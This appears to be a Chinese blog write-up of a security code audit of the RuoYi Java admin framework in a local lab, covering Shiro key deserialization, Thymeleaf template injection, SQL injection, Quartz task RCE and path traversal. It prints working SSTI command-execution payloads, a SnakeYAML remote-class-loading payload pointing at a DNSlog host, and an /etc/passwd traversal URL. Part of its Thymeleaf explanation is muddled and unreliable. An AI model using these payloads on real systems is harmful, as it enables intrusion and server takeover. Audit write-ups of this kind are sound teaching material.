使用idea进行环境搭建。
导入数据库之后。
启动环境。
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打开该若依,发现本项目采用了多模块方式。根据这些组件漏洞的版本,然后去判断是否存在该漏洞。
定位到Shiro配置文件位于
RuoYi-v4.2\ruoyi-
framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
进入Shiro配置文件,发现对资源访问的拦截器配置,位于 第231行 ~ 276行 。发现 第272行 使用了 /** 表达式,对路径进行拦截。
关于shiro的拦截匹配模式。
补充:
Shiro中的URL路径表达式由三部分组成:
在Shiro中,可以使用Ant风格的路径表达式来匹配URL地址。Ant风格的路径表达式可以使用通配符 * 表示0个或多个字符,使用 ? 表示1个字符。
以下是一些示例:
进入Shiro配置文件时,发现了Shiro密钥硬编码写在了代码中。在 RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java中。
通过搜索关键字 setCipherKey ,来看看密钥是否硬编码在了代码中。攻击者在知道了密钥后,就可以构造恶意payload,经过序列化、AES加密、base64编码操作加工后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。
使用burp进行测试,发现cookie含有rememberme的字段。
接着使用脚本进行验证漏洞。
也可以使用一自动化工具进行漏洞利用。
成功获取权限。
全局搜索关键字parseObject。
下面我们追踪下流程,看看是否有接收用户输入的地方。
先进入 VelocityUtils.java。
从代码中看到 JSONObject.parseObject(options); 需要一个参数为
options ,该参数来自 genTable.getOptions(); 跟进这个函数, 发现getOptions() 返回值为 options 。
继续跟进 options
跟进 setTreeVelocityContext ,发现是prepareContext 中调用了它。
跟进GenConstants.TPL_TREE ,看到定义了一个常量字符为 tree 。
跟进下 tplCategory ,该值来自于 genTable.getTplCategory();
进入 genTable.getTplCategory(); 看到 getTplCategory() 返回值就是
tplCategory 。
继续跟进 tplCategory ,该字段应该有两个值,一个是 crud ,一个是 tree 。所以我们再找到功能点时,应该将这个字段值设为 tree 。
我们继续追踪功能点。回到 prepareContext() 方法,我们看下谁调用了他,发现GenTaleServiceImpl.java 中第187行和250行都有所调用。
进入 GenTaleServiceImpl.java这个java文件中 ,发现是 previewCode 方法使用了 VelocityUtils.prepareContext(table); ,其中 table参数 来自
genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返回的数据。
我们只能操控 tableId 参数。继续跟踪一下 previewCode 。
继续跟进previewCode,跳转到了 GenController 层,发现是 preview 使用了
genTableService.previewCode(tableId);
在路径tool/gen/preview中 获取 tableId 。
我们继续往下找发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。追踪流程如下。
跟进 genTable.getParams() ,跳转到了 BASEEntity.java 代码中。
回到 GenTaleServiceImpl.java ,查看谁调用了 validateEdit ,跳转到了IGenTaleService。
继续跟进 validateEdit ,跳转到了 GenController 层第142行。
漏洞简介:
SnakeYaml是一款基于Java的YAML解析器。SnakeYAML存在缓冲区错误漏洞,该漏洞源于解析不受信任的YAML文件可能容易受到拒绝服务攻击 (DOS)。如果解析器在用户提供的输入上运行,攻击者通过特制内容导致解析器因堆栈溢出而崩溃。有报道指出官方认为SnakeYaml的使用场景仅接收可信的数据源,因此不认为cve-2022-1471是漏洞,因此目前还没有修复,后续可能也不会修复。但是,为了防范潜在的风险,建议开发人员排查SnakeYaml的使用情况,判断是否接收外部数据,并加入new SafeConstructor()类进行过滤。
经过全局搜索Yaml.load(,发现本项目并没有使用到这个组件。
在第三方组件漏洞审计时,了解到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。tutorial/content/docs/introduction.html
Thymeleaf是一款流行的Java模板引擎,用于生成HTML、XML、JavaScript、CSS和文本文件。根据[1]的披露,Thymeleaf存在一种路径遍历漏洞,攻击者可以在参数中注入恶意输入来访问Web服务器上的任意文件。例如,以下代码在请求参数中包含了一个../../file.txt的路径跳转字符串来读取敏感文件:
@GetMapping("/view")
@ResponseBody
public String view(@RequestParam(value="name", required=false, defaultValue="../../file.txt") String name) throws IOException {
File file = new File(name);
FileReader fr = new FileReader(file);
BufferedReader br = new BufferedReader(fr);
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
fr.close();
return sb.toString();
}
建议开发人员使用Thymeleaf的内置安全性功能来防止路径遍历攻击,并确保不将用户输入直接传递给模板或模板构造器。例如,可以使用Spring Security提供的表达式语言SpEL对请求参数进行安全处理,比如加入${#httpServletRequest.parameter('name')},将其设置在Thymeleaf中的每个变量前。另外,要注意限制允许访问的文件夹以及最小化在“src/main/resources”等敏感目录下存储的文件。更多关于Thymeleaf路径遍历漏洞及修复方法的信息,Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为 @ResponseBody 和 @RestController 不会进行View解析而是直接返回。
SSTI(模板注入)漏洞点:
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点: 1、URL路径可控。 , 2、return内容可控。对应上面两个关注点,举例说明如下。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
2、return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
根据上面两个关注点,发现v4.2 并没有发现存在Thymeleaf模板注入漏洞点。
但在 若依v4.7.1 发现存在 return内容可控 的情况。
在 若依v4.7.1 的 RuoYi-v4.7.1\ruoyi-
admin\src\main\java\com\ruoyi\web\controller\monitor 下多了一个CacheController.java 文件。该文件下有多个地方 Return内容可控 。
接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为fragment 。
构造一下payload,org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地
址"]]]]')
发现若依v4.7.1 存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。Thymeleaf模板注入payload举例:发现return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
⚠ 注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。进入系统监控下,使用缓存监控,和代码审计发现的 CacheControlle 代码文件中功能注释一样。访问缓存监控功能。分别点击 缓存列表和键名列表旁的刷新按钮,会分别想 getNames , getKeys 接口发送数据。
将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")}__::.x ,对paylod进行URL编码后。
发送数据包。响应报错,而且并没有弹出来计算器。如下图所示:
我们将Payload改造一下,如 ${T(java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个空格即可。对Payload进行URL编码后,放入 fragment 参数中,弹出了计算器
在编码和不编码的情况下,发现都可以弹出计算机。
全局搜索关键字 $ ,并限定文件类型为 .xml ,发现 sysDeptMapper.xml 和 sysUserMapper.xml 有存在SQL注入的地方。
然后看SysRoleMapper.xml 这个xml文件
点击左侧箭头快速跳转到DAO层,(IDEA中需要安装Free Mybatis plugin插件)
按住Ctrl加鼠标左键,点击 selectRoleList ,查看谁调用了它。最终来到
SysRoleServiceImpl 的实现层.
进入 SysRoleServiceImpl 后,再回溯到 SysRoleService 层,或者选中 selectRoleList 后使用快捷键或箭头。
回溯到 Controller 层,最终发现是 SysRoleController 调用了这个方法。
点击进入,最终定位到src\main\java\com\ruoyi\web\controller\system\SysRoleController.java ,第58行和第68行都有调用。
点击 SysRole ,进入看看定义了哪些实体类,其中发现了 DataScope 。
回顾下整理流程,如下所示:
sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java -
\> ISysRoleService.java -> SysRoleController.java
访问 角色管理 功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现 搜索 功能,会向 /system/role/list 接口发送数据,如下图所示:
使用sqlmap进行漏洞验证。
我们了解到本项目中有使用到定时任务功能,了解到本项目定时任务功能在 ruoyi-quartz 模块下,使用的是 quartz 框架。
进入 ruoyi-quartz 模块 src\main\java\com\ruoyi\quartz 下,我们先关注controller 文件代码。我们知道 Controller 也是控制层,再向 Service层 传输。打开 controller 文件下,有两个代码文件,分别是 SysJobController 和SysJobLogController。
对 SysJobController下的run方法 进行追踪,根据注释该方法为任务调度立即执行一次。
使用鼠标选中jobService.run(job) ,进入Service层后,无其他执行代码,继
续跟踪到实现层,最终代码位于 RuoYi-v4.2\ruoyi-
quartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java 第180行到188行。
进入 JobInvokeUtil.invokeMethod(sysJob); ,最终方法实现如下图所示:
第25行到28行,为获取处理数据,可以在这里使用断点来进行分析。
它支持两种方式调用,分别为支持 Bean 调用和
Class 类调用。此处判断我理解为通过 beanname 判断是否为有效的classname。使用 bean 方式调用,还是使用 Class 方式调用。此处,可以创建两种方式的目标字符串后,在 if(!isValidClassName(beanName)) 处打个断点,分别执行跟踪一下。
首先进行添加任务
然后输入pyaload。
然后执行这个定时任务,发现dnslog回显。
也可以使用若依工具验证:
在本项目中,发现存在一处下载功能。
代码位于 RuoYi-v4.2\ruoyi-
admin\src\main\java\com\ruoyi\web\controller\common\CommonController
.java 第96行-第111行。通过注释一目了然该部分代码的作用。
全局搜索关键字 resourceDownload ,发现并没有其他功能调用它。我们可以自己去构造方法然后去下载。
1、首先,漏洞代码点位于第118行,使用了 FileUtils.writeBytes() 方法输出指定文件的byte数组,即将文件从服务器下载到本地。
2、 downloadPath 来自第103行,是由 localPath 和StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); 组成。
3、 localPath 来自第101行注释为 本地资源路径 ,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath ,是从
src\main\resources\application.yml 配置文件中第12行文件路径中获取的。
4、通过第96行,知道接口路径为 /common/download/resource ,仅接受GET请求。
5、通过第97行, String resource 知道接收参数值的为 resource 。
漏洞Payload: http://127.0.0.1/common/download/resource?
resource=/profile/../../../../etc/passwd 。
REF:
https://blog.csdn.net/qq_44029310/article/details/125296406
8 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!